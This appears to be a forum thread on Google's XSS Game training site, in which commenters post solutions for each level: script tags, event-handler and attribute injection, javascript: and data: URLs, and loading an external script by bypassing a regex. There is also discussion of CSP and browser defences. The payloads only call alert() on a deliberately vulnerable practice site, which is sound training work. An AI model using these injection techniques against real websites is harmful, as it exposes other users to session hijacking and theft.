The XSS Game by Google
xss-game.appspot.com
xss-game.appspot.com
I'm posting because I find that whenever I can't solve some security puzzle, it usually means I didn't foresee an attack and I've been writing insecure code :( So hopefully people who get stumped can take a look at the solutions and determine if that's the case for them.
It'd be cool if someone wrote up explanations for each of these w/ links to relevant portions of Google's documentation.
# lvl 1
Enter `<script>alert('')</script>` into the search box.
# lvl 2
Use the `onclick` attribute of the font tag (hint is from the first post, which shows `<font>` might be allowed for the purpose of changing colors. Winning message:
<font color="red" onclick="alert('')">blah</font>
and then click blah after posting the message. (or use onload etc.)
# lvl 3
Modify the URL parameter so that you inject code into the `<img>` tag:
https://xss-game.appspot.com/level3/frame#1.jpg' onclick="alert('')" alt='a picture called 1
which will render as:
html += "<img src='/static/level3/cloud/1.jpg' onclick="alert('')" alt='a picture called 1.jpg'/>";
on line 17 of the HTML file. Now click on the picture.
# lvl 4
Use `3'); alert('` as the value for your timer.
# lvl 5
Notice that if you type `javascript:alert('')` into your browser location bar, an alert will pop up. So we'll use this as the location that the user is sent to on the signup page. Go the the URL:
https://xss-game.appspot.com/level5/frame/signup? next=javascript:alert('')
and then click the `Next` link.
# lvl 6
The regex only notices lowercase https. So upload this JS file to some URL http://mysite.com/xss.js:
alert('');
and then go the the url `https://xss- game.appspot.com/level6/frame#Http://mysite.com/xss.js`
# Notes
In an actual attack you'd use onerror or onload everywhere instead of onclick.This will ensure the browser uses the "current protocol" as in if your website is browseable from http all request //www...com will be http and if your page is fetched using https, all resources starting with //www.hn.com will be loaded using https
if your website was reachable from protocol xyz://mydomain.com, all resources starting with // would be fetched using the xyz:// protocol
To clarify, you need to update the URL, then hit the Go button to the right to update the page, then finally click the newly updated "Next >>" link.
- - -
re: Level 4
Can someone explain how the possible strings break the parseInt()? Source code:
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
I tried running parseInt() in the console and just got NaNs for `'+alert()+'` and `3'); alert('`. https://xss-game.appspot.com/level3/frame#'/><script>alert(1)</script>
will execute on load rather than after user input.#1 <script>alert()</script> (no need for an empty string)
#4 '+alert()+'
#6 you can also use a protocol-relative url //google.com/jsapi?callback=alert
I did basically the same:
data:text/javascript;base64,YWxlcnQoInRlc3QiKQ== data:text/javascript;base64,YWxlcnQoMSk=
I didn't know you could do stuff like this (not for XSS) data:text/html,<script>alert(window.location)</script>
Cool, you can store a whole website in a URL now.As long as it's shorter than ~2000 characters [0]
[0] http://stackoverflow.com/questions/417142/what-is-the-maximu...
Here is a example of 5M
data:text/html,<script>window.location='data:text/html,<!--'+new Array(5000001).join('a')+'!--><script>document.documentElement.innerHTML=window.location.protocol+\':\'+String(window.location).length;</'+'script>';</script>
I tried 110Mb and it actually worked as well! I'm not sure about the real limit.You can store MASSIVE amounts of data in these things. It also seems to eventually break the url display and reverts to about:blank. It still retains protocol integrity though.
img tags support the onload attribute and is a typical element people use in posts
Maybe it doesn't work because the page is already loaded so the onload is never run.
<img src="404me" onerror="alert('test')" />Edit: Ah hah, HTML 5 spec explicitly says <script> tags inserted via innerHTML do not execute (https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerh...).
I spent 20 minutes thinking I had something horribly wrong until I read this comment.
(This works in FF 52.0a2)
For example, if browsers flatly refused to load code from an external URL unless the address was whitelisted in the page's HTTP response headers then you'd make level 6's exploit impossible without much of an impact on web development.
The CORS header Access-Control-Allow-Origin can be used to force a browser to work that way, but only if a site sets it. I'm suggesting we're at the point now where browsers should be secure by default, even if it breaks some old sites.
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
Example: ?a=<script>void('&b=');alert('XSS')</script>
The value of a is <script>void(' and the value of b is ');alert('XSS')</script>.
Exactly. I made a library for that:
https://www.npmjs.com/package/csp-by-api
Eg if your web app uses embedded Tweets, MixPanel, and GoogleFonts:
var policy = cspByAPI(basePolicy, ['twitter', 'mixpanel', 'googleFonts' ]);
Ie, the package maintains an up to date list of the image, script, etc sources for all those different embeds, so you only have to specify what your own code needs (that's the basePolicy).It's for node, but you can easily port it to Elixir or Python or Ruby.
Policies for 16 common CSP embeds are included, please send a pull request to add more.
That's the point I'm questioning - I think browsers should block by default and only allow things that are specifically allowed by the CSP (or by CORS).
I don't personally agree with the decisions - but I can understand why they are made. It's easier to say I'd personally choose to give devs the finger and tell them to fix their code than to actually give devs the finger and tell them to fix/update their code.
That wouldn't just break some old sites that would break most of them. Most sites use some type of tracking script, jquery or other shared library.
Some are. But in general, XSS (especially reflected) are not possible to block exclusively at the browser level.
> For example, if browsers flatly refused to load code from an external URL unless the address was whitelisted in the page's HTTP response headers then you'd make level 6's exploit impossible without much of an impact on web development.
See fastest963's comment.
Its pretty normal to include external scripts on a website (CDN for dependencies, tracking like google analytics etc)
The mechanism next=javascript:alert('') with the column how is it called? Are there exape of using anything other than javascript before column? it was a very great tutorial:)
Okay, URL injection, that's easy: <script>alert('hi');</script>
Or not: that didn't work.
I had to remove the semicolon for it to notice my code. At that point I immediately closed the tab.
<script>alert()</script> most certainly works unless you have noscript.
https://xss-game.appspot.com/level1/frame?query=<script>alert('hi');</script>
it doesn't work. https://xss-game.appspot.com/level1/frame?query=<script>alert('hi')</script>
without the semicolon does.I realize it's JS, but I can see it's just dumbly parsing what I've typed as opposed to eg overloading alert() (which can be done: http://stackoverflow.com/questions/1729501/javascript-overri...) and demonstrating/using best practices in the source code to prevent the JS I type from actually damaging the demo itself.
For something that's really interesting, search Pinterest for "reactjs", and see if you get the "Hack Pinterest" tile as your first result. That was fun to play with!
Set your URL to https://xss-game.appspot.com/level1/frame?query=a;b. Notice that the ";b" is removed from the results page.
Challenge your initial assumption about the checker being stupidly naive. Notice XSS bugs in your own code afterwards.
I actually noticed the ; was being removed and am very confused as to why, but forgot to mention that in my earlier comment.
... and confirmed.
[1] https://www.google.com/webhp?q=webapp.WSGIApplication+semico... [2] https://groups.google.com/forum/#!topic/google-appengine/Aai... [3] https://www.w3.org/TR/REC-html40/appendix/notes.html#h-B.2.2
I didn't get far with it because it turns out that some browsers prevent the exploit, like Firefox and Safari.
[0]https://www.pluralsight.com/courses/hack-yourself-first?gcli...
The cake is a lie.
-oooo:-
omhsoosho`
Ndo:``:oh-
dms+--+ym:
-ymhohdh+`
`N/`.s.
+: +
-- :
-- o
.. +
:: s ..`
.:sssso. -- + :syhhyo`
..::::. `odhhyyhdd. :: s .mhhyhhdh. -:...`
/dhhhhhhs .odddhyhdddh+y: my-syhdhhyhhddy/` .odhyyhh:
yNdhyyoyhmo+::+ms/+++//++/odm: NNmNd+///+++/+ody::omhyssyhdm-
-sddyyyyyyyoommmmmmdhyyyyyyhddd: `ddmdmdhyssyyhhmmNNNNdhyyyyyhmo-`
``-omdyyyssys///shdddddddddmmdddhyy-``yhddddhhhhhdmmmmmmdd/oyssyyyyhmhss-`
`:ohhdmddhhyyyyyshddddhhyyyyyhddhhyo:-...--shhyysssyyhhdhhhddyyysyyyhdddmNNmyo.
/hNNmmd/:o+/////:`/osyhhyyys+syyhhyysysooossyyyyyooyyyyyyysyy+./oooooos/:ydNNmNmo.
+dNmmmmmhoo+///////oossshhyyyyyyyyssoossoosoosssyyyyyyyhsoyyyys/:-..--:/+sdddmmmNMy
`hNmmdmmdmddddhhhyhysso+.oyssssso-./o:-/+oo++oo--osoooooo..oyyhyyyyyyhhhyhdddmmdmNNN
`yNmNNhhdmdddhhhyyyyyyys:-......`./+++/:o++oo++/-````..::/+sysysyyyhsshhhydddmmmNNNN
sMNNNNNNmmdmdhhhhyyyyyyhhssssoo+oo/+//:/+//+:++++ooosyooyssosyyhhyhsshdhdmmNmNmmMMN
-NNNNNNhmNmdmmmdddddmhhhyyyyssys///+/:://////o+osoo+osoossosyhhdddh+omddmNNmmNmNMMN
oMNNNNNNNNdydNmmmmmdhydhhsoooodhydhsshys+soyooooosssyhyhymdhdhyddmmmdmNNNNNNmNNNMMM
yMMNNNMmmNdmmNNNNNNmh/sysyysyhyddmhhyhyhhddyyyhmddhhdmdddmmmdmmmmNNmmmNmNNNNmMNMMMM
.dMMNNMMNNNmNNNNNNmmNNhsddddNNdmhdmddyyhdhdhdddhdmhhdddhmddmmmNNNNNNNNNNNNNNNNMNMMMM
:NMMMNMMNMNhhmNNNNmdmNNmhddmdNmmmmmmddddNmdhdhddddmddmmmmmmNdNmdmmNNNmNNNNNdmMMMMMMM
-mMMMMMNNmNNmNNNNNNNNNNNdmmNmNmNmNmmNNmmNNdhddmmmmNmhhhyohNMNMNmmmmNdmNNMMMNNMMMMMMM
.dMMMMMMNNNMMMMMNNNNNMNmmmNNNmmmmNNdddmmNNNmmdNNmNNNmmNNNNNNNNNNNNNNNmNNNNNmNMMMMMMM
:NMMMMMMMMMMMMMMMNmmNMNNNNNNNmmNmNNNNmdmNNNNNNNmNNdmNNMMNMmNNNNNNMMNdmNNNMNmmMMMMMMM
:NNMMMMMMMMMMMMMMMMNNMNNMNNNMMMNNNNNNmNmdmmmNNNNNNmmNNNNNNNNNNMNNMMMNNNNMMNmMMMMNNMN
:NMMMNNMMMMMMMMMMMMMNNMMMMNMMMNmNNMNNNNNmhNMNNMNNNMMNMMMMMNNMMNNNMNMMMMNMMNNMMNMNMMM
`hMMMNdMNNMNNNNNMMNNNNMMMMMMMMNmNMMMMNNNNNNNdmmmMNMMMMMMNNMMNmdNMMNMNNNNMNmmNMNMMMMN
yMMMMNMMNMNmmNNNMNmddmMMNNNMNNNNNMMNNNNMNNNNNNNmNNNNNNNNNNNNNddNdmdmmNNMNNdMMMMMMMN
yMMMMNMNMMNNMMNNNNmdmmNMNNdhmMNNNNNNmNMMddddmNNNmNNMMNmNmmmmmNNmmmmNMMMMMMNNNMMMMMN
yNNNMMNNMMMMMMNNNNNMmmdNNNNNNNNNNNNmNNNNNmNmmNNNNNNNNNNNmNmNNNNNNNNNNNNNMMMNNMMMMMy
+MMMMMMMMMMMNNNNMMMNNNNmNNNMNMNNMNNmhdNNNNNmNNNmmNNNNNNNNNNNMMNNmNNNNNMNMNMMMMMMMN:
NMMMMNMMMMMMMNNNNNNdNMNNNNNNmNNNNNNNNNmmhNNNNmdNNNNNNNNNMMNNMNNNNNNNNNMMMMNNMMMNs`
-sdmNMNNMMMMMNNNNmmmmNNNMNmNMNNNNNNNMNmNNNNNNmmmdmNNNMNmmmmNMNNMNMmmNNMMMNMNmd+-`
`.ohNNMMNMMNMNNmdmNNNNNNmNMNNMNNNNmNNNmmmNmNMMNNMNNMMNNNNNNNNNNMMMMMMMNNho.`
:+hdNNNNNNNNNNNNNNmNNNNNNNMNNNmNNNNmMmmmNNNMNNNNNNNNMNNMMMMMNNmdds/-
`--:+shddmmNmmmmNNNNMNNNMNNNNNNNNNNMMNMMMNNNmNNNMNNNNdh++/-.`
`--++osdddddddysNmmhshmmmmmNmddddddho/:++/---
`-.-. .------.
You have successfully completed the game! ---/++:/oɥppppppɯuɯɯɯɯɯɥsɥɯɯusʎpppppppso++--`
`˙-/++ɥpuuuuɯuuuɯuuuɯɯɯuɯɯuuuuuuuuuuɯuuuɯuuuuɯɯɯɯuɯɯppɥs+:--`
-/sppɯuuɯɯɯɯɯuuɯuuuuuuuuɯuuuɯɯɯɯɯuuuuɯuuuɯuuuuuuuɯuuuuuuuuuuuuuupɥ+:
`˙oɥuuɯɯɯɯɯɯɯuuuuuuuuuuɯɯuuɯuuɯɯuɯuɯɯɯuuuɯuuuuɯuuɯuɯuuuuuuɯpɯuuɯuɯɯuɯɯuuɥo˙`
`-+pɯuɯuɯɯɯuuɯɯɯuɯuuɯuɯɯɯɯuɯuuuɯpɯɯɯuuuuuuɯuɯuuuuuuuɯuɯuɯuuuɯɯɯɯuuuuɯɯɯɯɯuuɯuɯps-
`suɯɯɯuuɯɯɯɯuuuuuuuuuɯuuɯɯuuuuuuuuupɯuuuuɥɯɯuuuuuuuuuɯuuuuuuɯupuuuuuuɯɯɯɯɯɯɯuɯɯɯɯu
:uɯɯɯɯɯɯɯuɯuɯuuuuuɯuuɯɯuuuuuuuuuuuɯɯuuuɯuuuuupɥɯuuɯuuɯuɯuuuɯuuuuɯɯɯuuuuɯɯɯɯɯɯɯɯɯɯɯ+
ʎɯɯɯɯɯuuɯɯɯuuuuuuuuuuuuuɯuɯuuuuuuuuuuuɯɯuɯuuuuuɯuuuuuuuuuuuupɯɯɯuuuuuɯɯɯɯɯɯuuɯɯuuuʎ
uɯɯɯɯɯuuuɯɯɯɯɯɯuɯɯɯɯuuɯɯɯɯɯuɯuɯɯuuɯuuuɯppppɯɯuɯuuuuuuɯɯɥpuuɯuɯɯpɯuuuuɯɯuuɯɯuɯuɯɯɯɯʎ
uɯɯɯɯɯɯɯpuuɯuuɯɯpɯpuppuuuuuuuuuuuuuɯuuuuuuuɯuuuuɯɯuuuuuɯuuuɯɯɯppɯuɯuuuɯɯuɯuɯɯuɯɯɯɯʎ
uɯɯɯɯuɯuɯɯuɯuuuuɯuɯɯupɯuɯɯuuɯɯɯɯɯɯuɯɯɯɯpuuuuuuuɯɯɯɯuɯuɯɯɯɯɯɯɯɯuuuuɯɯuuuuuɯuuɯpuɯɯɯɥ`
ɯɯɯuɯuɯɯuuɯɯuɯɯɯɯuɯuuuɯɯuuɯɯɯɯɯuɯɯuuuɯuuɯuɥɯuuuuuɯuuɯuɯɯɯuɯɯɯɯuuɯɯɯɯɯɯɯɯɯɯɯɯɯuuɯɯɯu:
uɯuuɯɯɯɯɯuɯɯuuuuɯɯɯuuɯuuuuuuuuuuɯɯuuuuuuɯɯɯpɯuɯuuuuuuɯɯɯuuuɯuuɯuuɯɯɯɯɯɯɯɯɯɯɯɯɯɯɯɯuu:
ɯɯɯɯɯɯɯɯɯuɯuuuɯpuɯɯuuuuuuɯɯuɯɯuuɯpuuɯuuuuuuuɯpɯuuuuɯuɯɯuuuuuuuɯuɯɯuɯɯɯɯɯɯɯɯɯɯɯɯɯɯɯu:
ɯɯɯɯɯɯɯuɯuuuuuɯuuuuuuuuuuuuuuuɯɯuuuɯuupɯɯuuuɯɯpppuuɯɯɯɯuuuɯɯɯuɯuuuuuɯɯɯɯɯuuuɯɯɯɯɯɯp˙
ɯɯɯɯɯɯɯuuɯɯɯuuɯpuɯɯɯɯuɯuɯuɥoʎɥɥɥɯuɯɯɯɯppɥpuuɯɯuuɯɯuɯuɯuɯuɯɯpuuuuuuuuuuuɯuuɯuuɯɯɯɯɯɯ-
ɯɯɯɯɯɯɯɯpuuuuuɯuuuɯɯpɯupuɯɯɯɯɯɯppɯppppɥpɥpɯuppppɯɯɯɯɯɯupɯppɥɯuuɯpɯuuuuɯɥɥuɯuɯɯuɯɯɯu:
ɯɯɯɯuɯuuuuuuuuuuuuuuuuɯɯɯppɯɥpppɥɥɯpɥpppɥpɥpɥʎʎppɯpɥɯpuuppppsɥuuɯɯuuuuuuɯuuuɯɯuuɯɯp˙
ɯɯɯɯuɯɯuuuuɯuɯɯɯuuɯɯɯɯpɯɯɯpppɯpɥɥppɯɥʎʎʎppɥɥʎɥʎɥɥɯppʎɥʎsʎʎsʎs/ɥɯuuuuuuɯɯpuɯɯɯuuuɯɯʎ
ɯɯɯuuuɯuuuuuuɯpɯɯɯppʎɥpɥpɯʎɥʎɥʎsssoooooʎos+sʎɥssɥpʎɥpoooosɥɥpʎɥpɯɯɯɯɯupʎpuuuuuuuuɯo
uɯɯuɯuɯɯuuɯppɯo+ɥpppɥɥʎsossooso+ooso+o//////::/+///sʎssʎʎʎʎɥɥɥɯpppppɯɯɯpɯuɯɥuuuuuu-
uɯɯɯɯuɯuɯɯpɥpɥssɥʎɥɥʎʎsossʎooʎsooo++++:+//+/://+/oo+oossssɥɥʎʎʎʎʎʎɥɥɥɥpɯpɯɯuuuuuuɯs
uuuuɯɯɯpppʎɥɥɥssɥʎʎʎsʎsʎs+/::˙˙````-/++oo++o:/+++/˙`˙˙˙˙˙˙-:sʎʎʎʎʎʎʎɥɥɥpppɯpɥɥuuɯuʎ`
uuuɯpɯɯpppɥʎɥɥɥʎʎʎʎʎʎɥʎʎo˙˙ooooooso--oo++oo+/-:o/˙-osssssʎo˙+ossʎɥʎɥɥɥppppɯpɯɯpɯɯuɥ`
ʎɯuɯɯɯppps+/:--˙˙-:/sʎʎʎʎosɥʎʎʎʎʎʎʎsssoosoossoossʎʎʎʎʎʎʎʎɥɥsssoo///////+ooɥɯɯɯɯɯup+
˙oɯuɯuupʎ:/soooooo/˙+ʎʎsʎʎʎʎʎʎʎooʎʎʎʎʎssooosʎsʎʎɥɥʎʎs+sʎʎʎɥɥʎso/`://///+o:/pɯɯuuɥ/
˙oʎɯuuɯpppɥʎʎʎsʎʎʎppɥɥɥpɥɥʎʎsssʎʎɥɥs--˙˙˙-:oʎɥɥppɥʎʎʎʎʎɥɥppppɥsʎʎʎʎʎɥɥppɯpɥɥo:`
`-ssɥɯɥʎʎʎʎssʎo/ppɯɯɯɯɯɯpɥɥɥɥɥppppɥʎ``-ʎʎɥpppɯɯpppppppppɥs///sʎssʎʎʎpɯo-``
`-oɯɥʎʎʎʎʎɥpuuuuɯɯɥɥʎʎssʎɥpɯpɯpp` :pppɥʎʎʎʎʎʎɥpɯɯɯɯɯɯooʎʎʎʎʎʎʎpps-
-ɯpɥʎssʎɥɯo::ʎpo+/+++///+puɯuu :ɯpo/++//+++/sɯ+::+oɯɥʎoʎʎɥpuʎ
:ɥɥʎʎɥpo˙ `/ʎppɥɥʎɥɥpɥʎs-ʎɯ :ʎ+ɥpppɥʎɥpppo˙ sɥɥɥɥɥɥp/
`˙˙˙:- ˙ɥpɥɥʎɥɥɯ˙ s :: ˙ppɥʎʎɥɥpo` ˙::::˙˙
`oʎɥɥʎs: + -- ˙ossss:˙
`˙˙ s ::
+ ˙˙
o --
: --
+ :+
˙s˙`/u`
`+ɥpɥoɥɯʎ-
:ɯʎ+--+sɯp
-ɥo:``:opu
`oɥsoosɥɯo
-:oooo-BTW why doesn't chrome also filter this. I can't think of a good reason why there is a legit reason to do some of this stuff.
I can break any website for myself by putting stuff in the console.
Sorry, no results were found for <b><script>alert();</b>.
which is a syntax error. You need the closing </script>.